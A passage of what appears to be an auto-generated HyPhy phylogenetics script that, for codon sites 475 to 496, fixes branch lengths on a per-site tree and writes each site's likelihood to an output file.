475\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"475\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 476...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1425,1426,1427\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 476\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"476\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 477...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1428,1429,1430\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 477\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"477\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 478...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1431,1432,1433\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 478\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"478\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 479...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1434,1435,1436\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 479\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"479\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 480...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1437,1438,1439\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 480\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"480\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 481...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1440,1441,1442\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 481\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"481\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 482...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1443,1444,1445\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 482\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"482\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 483...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1446,1447,1448\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 483\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"483\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 484...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1449,1450,1451\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 484\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"484\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 485...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1452,1453,1454\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 485\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"485\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 486...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1455,1456,1457\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 486\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"486\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 487...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1458,1459,1460\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 487\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"487\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 488...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1461,1462,1463\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 488\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"488\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 489...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1464,1465,1466\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 489\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"489\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 490...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1467,1468,1469\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 490\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"490\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 491...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1470,1471,1472\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 491\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"491\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 492...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1473,1474,1475\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 492\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"492\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 493...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1476,1477,1478\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 493\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"493\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 494...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1479,1480,1481\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 494\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"494\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 495...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1482,1483,1484\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 495\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"495\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 496...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1485,1486,1487\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 496\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, 